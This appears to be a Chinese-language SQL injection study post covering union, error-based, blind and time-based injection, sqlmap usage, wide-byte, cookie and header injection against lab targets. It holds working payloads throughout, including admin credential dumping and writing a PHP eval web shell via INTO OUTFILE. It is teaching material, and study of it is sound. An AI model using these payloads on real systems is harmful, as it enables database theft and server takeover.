【CyberSecurityLearning 55】SQL注入
目錄
SQL
簡介
SQL注入基礎
漏洞原理
漏洞危害
分類
MYSQL相關
@注釋
@mysql 元數據數據庫information_schema
@ mysql常用的函數與參數(★)
@邏輯運算
注入流程
SQL 注入
SQL 注入點的判斷
SQL注入注入點判斷的舉例說明
聯合查詢
* 必要條件
* 判斷字段個數
??判斷顯示位置
報錯注入
* group by 重復鍵沖突
SQL--報錯注入---group by觸發報錯的原理
SQL語句解析過程(運算順序)
* XPATH 報錯
布爾盲注
獲取數據庫名
延時注入
sqlmap(自動化注入神器)
測試
get注入
post注入
SQL 注入文件讀寫
寬字節注入
Cookie 注入
base64 注入
HTTP 頭部注入
?
SQL
簡介
SQL 結構化查詢語言,是一種特殊的編程語言,用于數據庫中的標準數據查詢語言。美國國家標準學會對SQL進行規范后,以此作為關系式數據庫管理系統的標準語言。
常見的關系型數據庫系統:MYSQL ACCESS???? MSSQL orcale
有明顯的層次結構: 庫名? |? 表名? |? 字段名? |? 字段內容
不過個中通信的數據庫系統在其實踐過程中獨對SQL規范做了某些編改和擴充。所以實際上不同的數據庫系統之間的SQL不能完全通用。
SQL注入是一種常見的Web 安全漏洞,攻擊者利用這個漏洞,可以訪問或修改數據,或者利用潛在的數據庫漏洞進行攻擊
SQL注入基礎
漏洞原理
針對SQL注入的攻擊行為可描述為通過用戶可控參數中注入SQL語法,破壞原有SQL結構,達到編寫程序意料之外結果的攻擊行為。
其成因可歸結為以下兩個原理疊加造成:
1、程序編寫者在處理程序和數據庫交互時,使用字符串拼接的方式構造SQL語句。
2、未對用戶可控參數進行足夠的過濾便將參數內容拼接進入到SQL語句中。
*注入點可能的位置
根據SQL 注入漏洞的原理,在用戶“可控參數”中注入SQL 語法,也就是說Web 應用在獲取用戶數據的地方,只要代入數據庫查詢,都有存在SQL 注入的可能,這些地方通常包括:
@?? GET 數據
@?? POST 數據
@?? HTTP 頭部(HTTP 請求報文其他字段)
@?? Cookie 數據
??? …
?GET+POST+COOKIE也叫GPC
漏洞危害
攻擊者利用SQL注入漏洞們可以獲取數據庫中的多中信息(如:管理員后臺密碼),從而脫取數據庫中內容(脫庫)。
在特別情況下還可以修改數據庫內容或者插入內容到數據庫,如果數據庫權限分配存在問題,或者數據庫本身存在缺陷,那么攻擊者就可以通過SQL注入漏洞直接獲取webshell 或者服務器系統權限。
mof提權 | udf提權
分類
SQL注入漏洞根據不同的標準,有不同的分類。但是從數據類型分類來看,SQL注入分為數字型和字符型。
·數字型注入就是說注入點的數據,拼接到SQL語句中是以數字型出現的,即數據兩邊沒有被單引號、雙引號包括。
·字符型注入正好相反
根據注入手法分類,大致分為以下幾個類別
??? @?? UNION query SQL injection(可聯合查詢注入)?? ??? ??? 聯合查詢
??? @?? Error-based SQL injection(報錯型注入)?? ??? ??? ????????? 報錯注入
??? @?? Boolean-based blind SQL injection(布爾型注入)?? ??? 布爾盲注
??? @?? Time-based blind SQL injection(基于時間延遲注入)? 延時注入
??? @?? Stacked queries SQL injection(可多語句查詢注入)?? 堆疊查詢
MYSQL相關
本科主要使用*map 環境,既然要探討SQL 注入漏洞,需要對數據庫有所了解,此處以mysql 為例,這里只起到拋磚引玉的作用,其他環境的注入,讀者可以根據本次的思路去學習,唯一不同的只是數據庫的特性
@注釋
mysql 數據庫的注釋的大概有以下幾種
#
-- (杠杠空格)
/* … */
/*! … */ 內聯查詢
@mysql 元數據數據庫information_schema
庫名表名字段名都叫做MySQL的元數據,這些元數據代表了MySQL數據庫的結構
庫名表名字段名MySQL會把它存到一個數據庫里面,叫information_schema
information_schema數據庫中的幾個關鍵的表
@ mysql常用的函數與參數(★)
show databases; #查看數據庫
use information_schema; #轉到數據庫information_schema
show tables; #查看當前數據庫中的數據表
| =??? >??? >=??? <=??? <>不等于 | 比較運算符 | select 1<>2; |
| and? |? or | 邏輯運算符 | select 1 and 0; |
| version() | mysql 數據庫版本 | select version(); |
| database() | 當前數據庫名 | select database(); |
| user() | 用戶名 | select user(); |
| current_user() | 當前用戶名 | select current_user(); |
| system_user() | 系統用戶名 | select system_user(); |
| @@datadir | 數據庫路徑 | select @@datadir; |
| @@version_compile_os | 操作系統版本 | select @@version_compile_os; |
| length() | 返回字符串長度 | select length('ffdfs'); select length(version()); |
| substring() | ? 功能:截取字符串 參數1、截取的字符串 參數2、截取的起始位置,從1開始(不是偏移量) 參數3、截取長度 | select substring("dhffjf",2,2); |
| substr() | select substr("version()",2); select substr(version(),2,10); | |
| mid() | select mid(' select ',2,6); | |
| left() | 從左側開始去指定字符個數的字符串(從左開始取多少個字符) | select left('adc',2); select left(version(),2); |
| concat() | 沒有分隔符的連接字符串 | select concat('a','b','c');?? #abc |
| concat_ws() | 含有分隔符的連接字符串 | select concat_ws('/','a','b','c');? # a/b/c?? |
| group_concat() | 連接一個組的字符串 | select group_concat(id) from users;?? #默認以逗號分隔 |
| ord() | 返回ASCII碼 ? | select ord('a');? # 97 |
| ascii() | select ascii('a'); | |
| hex() | 將字符串轉換為十六進制 | select hex('a'); |
| unhex() | hex 的反向操作 | select unhex(61); |
| md5() | 返回MD5 值 | select md5('123456'); |
| floor(x) | 返回不大于x 的最大整數 | ? |
| round() | 返回參數x 接近的整數 | ? |
| rand() | 返回0-1 之間的隨機浮點數 | select rand(); |
| load_file() | 讀取文件,并返回文件內容作為一個字符串(括號里面跟一個文件的絕對路徑) | ? |
| sleep() | 睡眠時間為指定的秒數 | select sleep(5); |
| if(true,t,f) | if判斷(如果第一個參數是true返回第二個,否則返回第三個) | select if(true,1,0);? #1 select if(false,1,0);? #0 |
| find_in_set() | 返回字符串在字符串列表中的位置 | ? |
| benchmark() | 指定語句執行的次數 | ? |
| name_const() | 返回表作為結果 | ? |
| chr() | chr()函數的作用是將ascii碼轉換行字符 | ? |
@邏輯運算
在SQL 語句中邏輯運算與(and)比或(or)的優先級要高。(not>and>or)
[ select 1=2 and 1=2 or 1=1--+ ]? # true
注入流程
由于關系型數據庫系統,具有明顯的庫/表/列/內容結構層次,所以我們通過SQL 注入漏洞獲取數據庫中信息時候,也依據這樣的順序。
首先獲取數據庫名,其次獲取表名,然后獲取列名,最后獲取數據。
SQL 注入
使用工具:御劍掃描網站后臺
火狐瀏覽器插件:Wappalyzer
御劍有自己的字典
如果一個網站存在SQL注入漏洞,我們就可以去訪問數據庫,后臺管理員的用戶名密碼也在數據庫,登錄網站后臺
SQL 注入點的判斷
@?? ?id=34??? +/- 1?? 變化id值,看有沒有變化
select * from tbName where id = $id
?
@?? ?id=35'??? 通過加單引號,判斷是字符型還是數字型
報錯:near ''' at line 1
select * from tbName where id = 35'(說明這個單引號有問題,是多余的)
@?? 測試頁面是否有布爾類型的狀態
?id=35 and 1=1
?id=35 and 1=2
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2
當我們添加and1=1的時候或者and1=2的時候這兩次頁面的狀態十分相同,如果不同我們就認為它有布爾類型的狀態,如果相同就認為布爾類型狀態不存在!
(頁面是否正常跟數據庫是否報錯是兩個問題)
@?? ?id=35 and sleep(5)????? 測試是否有延時
沉睡五秒怎么看?打開F12--網絡---看時間線
再沉睡4s看看,不一樣。說明sleep會對頁面服務器的響應照成影響
口訣:(前提是有SQL注入)
如果我們頁面中id加一或減一頁面發生變化考慮聯合查詢
如果頁面沒有變化,看有沒有報錯,如果有報錯考慮報錯注入
如果沒有報錯也沒有回顯,考慮有沒有布爾類型的狀態,如果有布爾類型狀態我們考慮布爾盲注
如果以上都沒有,我們用絕招(絕境中用的招),用延時注入
SQL注入注入點判斷的舉例說明
* 說明
??? 為了演示SQL 注入的四大基本手法,我們以CMS 為例。【已經在win7中布置好了環境】
??? [http://172.16.132.138/cms/]
* 目標
??? 通過SQL 注入漏洞獲得后臺管理員帳密并成功登錄系統。
??? 后臺地址[http://172.16.132.138/cms/admin/]
?? ?
* 四大基本手法
??? 四大基本手法包括:
??? @??? 聯合查詢
??? @??? 報錯注入
??? @??? 布爾盲注
??? @??? 延時注入
* 注入點?
??? [http://172.16.132.138/cms/show.php?id=33]
* 注入點的判斷
??? 對連接[http://172.16.132.138/cms/show.php?id=33]是否是注入點進行判斷。
??? @??? 變換id 參數
??? 當我們變換id 參數(33+1|33-1)的時候,發現同一個頁面,show.php 頁面展現出不同的新聞內容。也就是說,數據庫中的內容會回顯到網頁中來。
??? 初步判定,id 參數會帶入數據庫查詢,根據不同的id 查詢數據庫,得到不同的新聞內容。
??? 猜測后臺執行的SQL 語句大致結構為:
??? select * from tbName where id=33;
?? ?
??? @??? 單引號
??? [?id=33']
??? 執行的SQL 主語則變為
??? select * from tbName where id=33’;
??? 頁面報錯,并且報錯信息會回顯在網頁中,報錯信息如下
----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----
??? 錯誤信息提示單引號位置出現錯誤,那么說明,SQL 語句從頭到參數33 都是正確的。也就是說,我們添加的單引號是多余的。
??? 因此,可以斷定參數33 前面沒有引號。
??? 則,此注入點(可能)為數字型注入。
??? @??? [and 1=1 ]
??? [?id=33 and 1=1 --+]
??? 可能得SQL 語句為
??? select * from tbName where id=33 and 1=1 --+
??? 頁面正常。
??? @??? [and 1=2]
??? [?id=33 and 1=2 --+]
??? 可能得SQL 語句
??? select * from tbName where id=33 and 1=2 --+
??? 頁面沒有新聞內容,并且數據庫沒有報錯。由于1=2 是恒假式,也就是查詢條件[where id=33 and 1=2 --+]恒假,這樣的SQL 語句在數據庫中執行后,沒有返回結果,沒有新聞內容。
??? 反過來看,頁面沒有新聞內容,也就是SQL 語句查詢條件為假。也就是說,我們寫的語句[and 1=2 --+],起到了將查詢條件置為假的作用。
??? 那么,可以通過構造語句來控制SQL 語句的查詢結果并且,SQL 語句查詢條件真假性,在頁面回顯中有體現。
??? @??? [and sleep(5)]
??? [?id=33 and sleep(5)]
??? 注入sleep(5) 語句,可以通過網絡時間線看到延時。
??? 說明sleep(5) 語句起到了作用
??? 綜上,此連接存在SQL 注入漏洞。(除了變化id有回顯這種方法,剩下幾個出現其中任意一個我們就認為它存在SQL注入漏洞)
聯合查詢
??? 由于數據庫中的內容會回顯到頁面中來,所以我們可以采用聯合查詢進行注入。
??? 聯合查詢就是SQL 語法中的union select? 語句。該語句會同時執行兩條select 語句,生成兩張虛擬表,然后把查詢到的結果進行拼接。
?? ?select ~~~~ union select ~~~~
??? 由于虛擬表是二維結構,聯合查詢會"縱向"拼接,兩張虛擬的表。
?? ?
?? ?實現 跨庫跨表查詢
* 必要條件
??? @??? 兩張虛擬的表具有相同的列數
??? @??? 虛擬表對應的列的數據類型相同
數字很特殊,它可以自動轉化成字符串
原來它是數字,但是我們查詢的時候是字符,我要強制拼到一塊怎么辦?
我們可以把字符編碼,這樣我們就可以用數字表示字母
* 判斷字段個數
??? 可以使用[order by] 語句來判斷當前select 語句所查詢的虛擬表的列數。
??? [order by]語句本意是按照某一列進行排序,在mysql 中可以使用數字來代替具體的列名,比如[order by 1]就是按照第一列進行排序,如果mysql 沒有找到對應的列,就會報錯[Unknown column]。我們可以依次增加數字,直到數據庫報錯。
??? [order by 1 --+]??? # 按照第一個字段排序
??? [order by 2 --+]
??? ...
??? [order by 15 --+]
??? [order by 16]
??? 得到當前虛擬表中字段個數為15
??
判斷顯示位置
??? 得到字段個數之后,可以嘗試構造聯合查詢語句。
??? 這里我們并不知道表名,根據mysql 數據庫特性,select 語句在執行的過程中,并不需要指定表名。
??? [?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
?? ?[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]??
如果不能用order by判斷列數,我們可以用一個null、兩個null...試出來
select 1,2,3(發現字段名和內容都是1,2,3)
??? 頁面顯示的是第一張虛擬表的內容,那么我們可以考慮讓第一張虛擬表的查詢條件為假,則顯示第二條記錄。因此構造SQL 語句:
??? [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
或者
?? ?[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
??? 在執行SQL 語句的時候,可以考慮用火狐瀏覽器的插件hackbar。
??? 發現3 和11 會回顯到頁面中來。
* 數據庫版本
??? 我們可以將數字3 用函數[version()]代替,即可得到數據庫的版本。將11換成database()可以得到數據庫名
??? [?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,database(),12,13,14,15 --+]
??? 數據庫版本為5.5.53。
* 當前數據庫名
??? [database()]
??? [?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]
* 數據庫中的表
??? [?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+? ]?
??? 我們在頁面中盡量避免使用字符串,用函數來代替。
報錯:
考慮是不是編碼有問題(union查詢的兩個條件)
??? 數據庫報錯,考慮用[hex()] 函數將結果由字符串轉化成數字。(可以用ASCII也可以用十六進制)
??? [?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]
??? 得到十六進制編碼后的字符串
----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----
??? 再進行十六進制解碼(用burpsuite)【Decoder----decode as ASCII hex】
----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
??? 管理員帳密有可能保存在cms_users 表中。
* 查詢表中字段
?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+
cms_users作為字符串出現我們要加單引號,但是我們要避免單引號的使用,把cms_users轉換為十六進制(選擇后用hackbar---Encoding---Hex Encode--前面加0x表示十六進制)
----
7573657269642C757365726E616D652C70617373776F7264
----
去解碼:
----
userid,username,password
----
* 字段內容
??? 查詢表中記錄數
??? [?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
??? cms_users 表中只有一條記錄。
?? ?
??? 查詢字段內容
??? [?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----
----
admin:e10adc3949ba59abbe56e057f20f883e
----
??? 得到的是后臺管理員帳密,但是密碼是以密文的方式保存在數據庫中的。通過觀察密文可知,此密文為MD5 密文。可以在線查詢,網址為
??? [https://www.cmd5.com/],可以忽略加密類型。
----
admin:123456
----
??? 通過網站后臺登錄系統
報錯注入
??? 在注入點的判斷過程中,發現數據庫中SQL 語句的報錯信息,會顯示在頁面中,因此可以進行報錯注入。
??? 報錯注入的原理,就是在錯誤信息中執行SQL 語句。觸發報錯的方式很多,具體細節也不盡相同。此處建議直接背公式即可。
select concat(left(rand(),3),'^',(select version()),'^') as x,count(*) from information_schema.tables group by x;
語句中的as是給concat(left(rand(),3),'^',(select version()),'^')起別名x,方便后面的聚合操作。此處as可以省略,直接寫x即可:
select concat(left(rand(),3),'^',(select version()),'^') x,count(*) from information_schema.tables group by x;
如果關鍵的表被禁用了,可以采用如下語句://自己構造一個表
select? concat('^',version(),'^',floor(rand()*2))x,count(*) from (select 1 union select null union select !1) a group by x;
如果rand()函數或者count()函數被禁用了,可以用如下方式:
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a+1)%2);
不依賴額外的函數和具體的表
select min(@a:=1) from (select 1 union select null union select !1) a group by concat('^',@@version,'^',@a:=(@a+1)%2);
注意:此種方法有可能成功,也可能不成功
* group by 重復鍵沖突
??? [?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
??? [?id=33 and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
group by的報錯實際上是MySQL一個天生的缺陷
我們現行的版本,只要是MySQL,只要是有報錯信息,用這種方法注入是最穩妥的方式,因為它是MySQL天生的
SQL--報錯注入---group by觸發報錯的原理
@創建數據庫,并寫入數據;
mysql> create database groupbyTest;
Query OK, 1 row affected (0.00 sec)
mysql> use groupbyTest;
Database changed
mysql> show tables;
Empty set (0.01 sec)
mysql> create table r1 (a int);
Query OK, 0 rows affected (0.02 sec)
mysql> insert into r1 values (1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2),(1),(2);
Query OK, 14 rows affected (0.01 sec)
Records: 14? Duplicates: 0? Warnings: 0
@簡單的查詢
mysql> select * from r1;
+------+
| a??? |
+------+
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
|??? 1 |
|??? 2 |
+------+
14 rows in set (0.00 sec)
mysql> select count(*) from r1;?? //查詢r1表有多少條記錄
+----------+
| count(*) |
+----------+
|?????? 14?? |
+----------+
1 row in set (0.00 sec)
mysql> select count(*) from r1 group by a;
+----------+
| count(*) |
+----------+
|??????? 7 |
|??????? 7 |
+----------+
2 rows in set (0.00 sec)
mysql> select count(*) from r1 group by "1";
+----------+
| count(*) |
+----------+
|?????? 14 ? |
+----------+
1 row in set (0.00 sec)
rand()是0-1中的隨機數,一般都是小數
mysql> select left(rand(),3),a from r1 group by 1;? // group by 1表示按照第一個字段進行分類聚合
+----------------+------+
| left(rand(),3) | a??? |
+----------------+------+
| 0.0?????????? ? ? |??? 2 |
| 0.1?????????????? |??? 1 |
| 0.2?????????????? | ?? 1 |
| 0.3?????????????? |??? 2 |
| 0.5?????????????? |??? 1 |
| 0.6?????????????? |??? 2 |
| 0.7?????????????? |??? 1 |
| 0.8?????????????? |??? 1 |
+----------------+------+
8 rows in set (0.00 sec)
由于rand函數每次執行的結果都是不一樣的
select left(rand(),3),a,count(*) from r1 group by 1
此處引入count()函數,產生group by重復鍵沖突報錯
//每次執行都報錯,而且報的還不一樣
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.2' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.0' for key 'group_key'
mysql> select left(rand(),3),a,count(*) from r1 group by 1;
ERROR 1062 (23000): Duplicate entry '0.6' for key 'group_key'
mysql>
分析:先執行from 再執行group by(group by1 的時候rand()函數也會執行),然后要執行select語句,left(rand(),3)這個子句會運行
這時候就會產生一個矛盾。group by是隨機的,很大概率,我們group by在執行運算rand()的時候跟我們select在執行運算rand的時候,兩次rand的值不一樣(大概率),所以會參生重復鍵沖突問題
@其他語句
select? round(rand(),1),a,count(*) from r1 group by 1;?? //round(x)? 返回參數x最接近的整數
mysql> select? round(rand(),1),a,count(*) from r1 group by 1;? //也會有重復鍵的錯誤,group by 1就是按照round(rand(),1)字段分類
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'
mysql> select a,count(*) from r1 group by round(rand(),1);
ERROR 1062 (23000): Duplicate entry '0.5' for key 'group_key'
mysql> select floor(rand()*2),a,count(*) from r1 group by 1;? //floor(x)返回不大于x的最大整數(向下取整)//是有成功率的
+-------------------+-----+-----------+
| floor(rand()*2) |? a?? | count(*) |
+-----------------+------+----------+
|?????????????? 0 ? ? |??? 1 ? |??????? 7 ? |
|?????????????? 1???? |??? 1 ? |??????? 7?? |
+-----------------+------+----------+
2 rows in set (0.00 sec)
mysql> select floor(rand()*2),a,count(*) from r1 group by 1;?? //第二次執行就報重復鍵錯誤
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
SQL語句解析過程(運算順序)
# FROM
from 后面的表標識了這條語句要查詢的數據源。
from過程之后會形成一個虛擬表VT1。
# WHERE
where對VT1過程中生成的臨時表進行過濾,滿足where子句的列被插到VT2中。
# GROUP BY
group by會把VT2生成的表按照group by中的列進行分組,生成VT3。
# HAVING
having? 這個子句對VT3表中的不同分組進行過濾,滿足having條件的子句被加到VT4表中。
# SELECT
select這個子句對select子句中的元素進行處理,生成VT5表。
—? 計算表達式,計算select子句的表達式,生成VT5-1
—? DISTINCT尋找VT5-1表中重復的列,并刪掉,生成VT5-2
—? TOP從order by子句定義的結果中,篩選出符合條件的列,生成VT5-3
# GROUP BY從VT5-3中的表,根據order by子句的結果進行排序,生成VT6
* XPATH 報錯
??? @??? extractalue()
??? [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]
??? @??? updatexml()
??? [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]
低版本是不支持XPATH報錯的(MySQL5.0以下的版本,那就用group by)
?
?
布爾盲注
* 原理
利用頁面返回的布爾類型狀態,正常或者不正常
獲取數據庫名
@ 數據庫名長度
[… and length(database())=1--+]
?
…
[… and length(database())=3--+](夾逼準則/二分法)
@ 數據庫名
[… and ascii(substr(database(),1,1))=99--+]
由此可知數據庫名的第一個字母的ASCII 碼是99,即字母C
?
延時注入
利用sleep() 語句的延時性,以時間線作為判斷條件
獲取數據庫名
@ 獲取數據庫名長度
[.. and if((length(database())=3),sleep(5),1)--+]
@ 數據庫名第二位
[.. and if((ascii(substr(database(),2,1,)=109),sleep(5),1)]
口訣(前提是SQL漏洞存在)
判斷是否有回顯?????????? 聯合查詢
是否有報錯????????????????? 報錯注入
是否有布爾類型狀態??? 布爾盲注(既沒有回顯也沒有報錯)
絕招????????????????????????????? 延時注入
sqlmap(自動化注入神器)
sqlmap -h可以看參數
測試
參數1、-u 后加url 檢測注入點
?python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"
2、--dbs? 列出所有數據庫的名字
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"? --dbs
3、--current-db? 列出當前數據庫的名字
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33"? --current-db
4、-D? 指定一個數據庫
5、--tables? 列出表名
python2 sqlmap.py -u "http://42.192.43.56/cms/show.php?id=33" -D "cms" --tables
6、-T 指定表名
7、--columns? 列出所有的字段名
8、-C? 指定字段
9、--dump? 列出字段內容
有些地方sqlmap是弄不出來的,只能手動注入
get注入
| -u "url" | 檢測注入點 |
| --dbs | 列出所有數據庫的名字 |
| --current-db | 列出當前數據的名 |
| -D | 指定一個數據庫 |
| --tables | 列出表名 |
| -T | 指定表名 |
| --columns | 列出所有字段名 |
| -C | 指定字段 |
| --dump | 列出字段內容 |
?
post注入
打開cms用戶登錄界面,burp抓個包,保存到post.txt
| -r post.txt | 從文件中讀入http請求 |
| --os-shell | 獲取shell |
| sqlmap -g "inurl:php?id=" | 利用google 自動搜索注入點 |
sqlmap -r post.txt?? 自動讀取我們http數據報做注入測試
?
攜帶cookie 的認證
要測試的頁面只有在登錄狀態下才能訪問,登錄狀態用cookie識別
--cookie ""
?
SQL 注入文件讀寫
讀寫文件
* 前提條件??? ?
??? 我們也可以利用SQL 注入漏洞讀寫文件。但是讀寫文件需要一定的條件。
??? 1. secure-file-priv(是mysql數據庫中的一個選項,可以在phpmyadmin中看到該變量)
??? 可以在phpmyadmin 中看到該變量。(phpmyadmin---變量---secure-file-priv)
??? 該參數在高版本的mysql 數據庫中限制了文件的導入導出操作。改參數可以寫在my.ini 配置文件中[mysqld] 下。若要配置此參數,需要修改my.ini 配置文件,并重啟mysql 服務。
?
??? 關于該參數值的相關說明
secure-file-priv 參數配置?? ??? ?含義
secure-file-priv=?? ??? ??? ??? ???? 不對mysqld的導入導出操作做限制
secure-file-priv='c:/a/'?? ??? ? ?? 限制mysqld 的導入導出操作發生在c:/a/ 下(子目錄有效)?? ??? ??? ??? ??? ??? ??? ????
secure-file-priv=null?? ??? ??? ?限制mysqld 不允許導入導出操作
打開my.ini, 在[mysqld]下寫:寫完后保存重啟
mysql的導入導出操作(導入就是寫文件,導出就是讀取文件)
?
??? 2. 當前用戶具有文件權限
?查詢語句[select File_priv from mysql.user where user="root" and host="localhost"]
? 3. 知道要寫入目標文件的絕對路徑
?
* 讀取文件操作(load_flie(要讀取文件的路徑))
??? [?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ](假設我們讀取C:\Windows\System32\drivers\etc\hosts)
?? ?load_file('')
?? ?C:\\Windows\\System32\\drivers\\etc\\hosts(寫法1)
?? ?C:/Windows/System32/drivers/etc/hosts(寫法2,用左斜線)
linux系統當中我們路徑用做斜線來分隔,windows系統中我們用右斜線來分隔,但是右斜線會作為轉移字符出現
上面兩種寫法選哪一種都可以
?? 應用:打開http://42.192.43.56/cms/show.php?id=33
打開hacker bar---load URL后split URL
打開SQL---Union---union select statement---輸入15
??
id=-33 發現11這個位置有選項,我們直接http://42.192.43.56/cms/show.php?id=-33 UNION SELECT 1,2, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'),4,5,6,7,8,9,10,11,12,13,14,15
* 寫入文件操作(into outfile)
??? [?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+],直接傳入參數,頁面如果不報錯,說明寫入成功。可以直接訪問寫入的文件[http://localhost/1.php]
?? ?into outfile
可以寫入一句話木馬或者是phpinfo()
?
寬字節注入
??? 寬字節注入準確來說不是注入手法,而是另外一種比較特殊的情況。為了說明寬字節注入問題,我們以SQLi-labs 32 關為例子。
??? 使用[?id=1']進行測試的時候,發現提交的單引號會被轉移[\']。此時,轉義后的單引號不再是字符串的標識,會被作為普通字符帶入數據庫查詢。也就是說,我們提交的單引號不會影響到原來SQL 語句的結構。
?
??? 我們通過閱讀32 關的源碼,發現幾句非常意思的代碼,如下。
??? 此網頁在連接數據庫時,會將字符編碼設置為GBK 編碼集合,然后進行SQL 語句拼接,最后進行數據庫查詢。
??? GBK編碼依然采用雙字節編碼方案,其編碼范圍:8140-FEFE,剔除xx7F碼位,共23940個碼位。共收錄漢字和圖形符號21886個,其中漢字(包括部首和構件)21003個,圖形符號883個。GBK編碼支持國際標準ISO/IEC10646-1和國家標準GB13000-1中的全部中日韓漢字,并包含了BIG5編碼中的所有漢字。GBK編碼方案于1995年12月15日正式發布,這一版的GBK規范為1.0版。
??? 轉移字符[\] 的編碼是5c,正好在GBK 編碼范圍之內,也就是說我們可以在單引號之前提交一個十六進制編碼的字符,與5c 組成一個GBK 編碼的漢字。這樣SQL 語句傳入數據庫的時候,轉移字符5c ,會被看作GBK 漢字的低位字節編碼,從而失去轉義的作用。
??? 如果我們提交這樣的參數[?id=1000%df' union select 1,2,3 --+],就可以使用聯合查詢進行注入了。
??? (轉移失效了,單引號會作為控制字符出現)
??? 0xdf5c 就是一個漢字"運"。(右斜線是5c)
先試一下id=1,id=2? ——》頁面不一樣(可以采用聯合查詢)
判斷注入點的時候添加一個單引號
再用雙引號試試看,發現不管是單引號還是雙引號都會被轉義
我們要想辦法讓轉義失效,我們可以提交[?id=1000%df' union select 1,2,3 --+],
如果我們?id=1%df'
我們--+看看(沒報錯):由于這個地方手動添加了一個單引號,我們--+就要注釋原來SQL語句中的引號,達到閉合狀態
現在就可以判斷列數...
我們想讓1,2,3顯示到頁面中來,我們就用 and 1=2,或者id=-1,得知2,3是回顯位
寬字節注入就是由于我們程序在編譯時設置了set name gbk,把編碼格式設置為GBK,并且我們提交的數據會有一個右斜線的單引號的轉義
這時候提交%df,就可以去“吃掉”轉義字符,使我們單引號生效,達到注入的目的
?
Cookie 注入
??? 我們使用SQLi-labs 第20 關來說明Cookie 注入問題。
??? Cookie 注入的注入參數需要通過Cookie 提交,可以通過[document.cookie] 在控制臺完成對瀏覽器Cookie 的讀寫。
??? 來到less-20,在控制臺輸入
??? [document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
??? 刷新頁面即可。
我們進行cookie注入的時候用burpsuite比較好
先掛個代理
打開burp
?然后我們輸入
username:Dumb
password:Dumb
抓個包
我們分析一下登錄之前和登錄之后有什么區別(在repeater模塊中右鍵發送到comparer模塊,兩個都發)【登錄前后都抓個包】
base64 注入
base64不是加密方式,是一種編碼方式
??? 我們以SQLI-labs 第22關來說明base64 注入的問題。
??? base64 注入也是比較簡單的,只不過將注入字段經過base64 編碼。經過測試,發現22 關屬于Cookie 型的base64 注入。我們可以使用報錯注入手法,payload
??? [document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
??? 在控制臺輸入???????
[document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。
??? 刷新瀏覽器網頁即可。
?
HTTP 頭部注入
??? http 頭部注入就是指注入字段在HTTP 頭部的字段中,這些字段通常有User-Agent、Referer 等。
* User-Agent 注入
??? 如SQLi-labs 第18 關。
??? payload
??? [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]?
?
* Referer 注入?? ?
??? 第19 關,注入字段在Referer 中
??? [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]
?
?
?
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 55】SQL注入的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2015年《大数据》高被引论文 Top1
- 下一篇: 作者:桑健(1989-),男,中国科学院